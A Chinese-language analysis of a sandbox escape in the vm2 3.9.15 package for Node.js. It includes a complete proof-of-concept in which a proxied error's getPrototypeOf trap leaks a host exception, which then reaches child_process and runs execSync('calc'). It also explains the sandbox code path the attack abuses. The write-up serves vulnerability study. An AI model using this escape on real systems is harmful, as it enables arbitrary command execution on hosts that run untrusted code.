node.js: v16.13.2
vm2: vm2@3.9.15
通过以下命令安装带有漏洞的vm2包:
npm install vm2@3.9.15
安装后会有警告,不用管它,这不会影响vm2@3.9.15的安装,如果想要修复这个漏洞,执行npm audit fix即可,npm audit查看漏洞详情:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')()
.mainModule
.require('child_process')
.execSync('calc');
}
`
vm.run(code);
首先该POC会创建vm对象,并将字符串中的源码在沙箱中执行,要注意的是在要执行的源码中,存在以下部分:
function stack() {
new Error().stack;
stack();
}
当执行到这部分代码时会因为无条件的无限递归而抛出异常,当然这个POC并不会一开始就去执行这部分。
当开始执行这段POC时会先定义一个空对象err和handle对象。
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
之后再用handle作为err对象的代理处理器去创建一个代理对象proxiedErr。
const proxiedErr = new Proxy(err, handler);
而代理处理器handle中定义了一个getPrototypeOf方法,在此方法中定义并同时调用一开始提到的那个会无线递归的函数:
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
之后会在try中手动抛出异常,并将代理对象proxiedErr作为错误对象传给catch进行处理,随后通过c泄露process对象,通过process对象来获取得到child_process对象并通过child_process对象来创建进程:
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')()
.mainModule
.require('child_process')
.execSync('calc');
}
从vm2源码的角度来看,当执行vm.run时,vm.run会调用transformer函数,transformer函数会将源码转换为相应的node,随后再根据这些node组成抽象语法树(AST),当在处理到Catch闭包并且参数对象为ObjectPattern时将会在原本代码的基础上插入新的代码内容。
transformer之前的catch:
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')()
.mainModule
.require('child_process')
.execSync('calc');
}
transformer之后的catch:
try {
throw proxiedErr;
} catch(VM2_INTERNAL_TMPNAME){
try{
throw VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.handleException(VM2_INTERNAL_TMPNAME);
}catch ({constructor: c}) {
c.constructor('return process')()
.mainModule
.require('child_process')
.execSync('calc');
}
}
其中VM2_INTERNAL_TMPNAME为代理对象proxiedErr。
VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL是为了调用handleException以此来将异常对象交给沙箱净化异常对象防止主机对象被泄露到catch中,handleException实际是thisEnsureThis函数的别名,当调用handleException时实际上调用的是thisEnsureThis函数。
当执行thisEnsureThis函数时会先获取传入的other的类型,再根据其类型进入相应的分支,此处的代理对象类型为object而object分支执行完成后由于不会break所有就会顺序执行到function分支内,此分支会先通过调用thisReflectGetPrototypeOf函数来获取对象原型:
而此时getPrototypeOf已经被代理处理器代理,所以此时会进入handle中定义的getPrototypeOf函数,而该函数内部又会抛出未经过净化处理的异常,此异常被之后的catch所捕获,所以导致主机异常被泄露最终导致沙箱逃逸。
最后通过异常对象来返回一个process全局对象并通过该对象引入child_process模块,最后通过child_process模块来创建子进程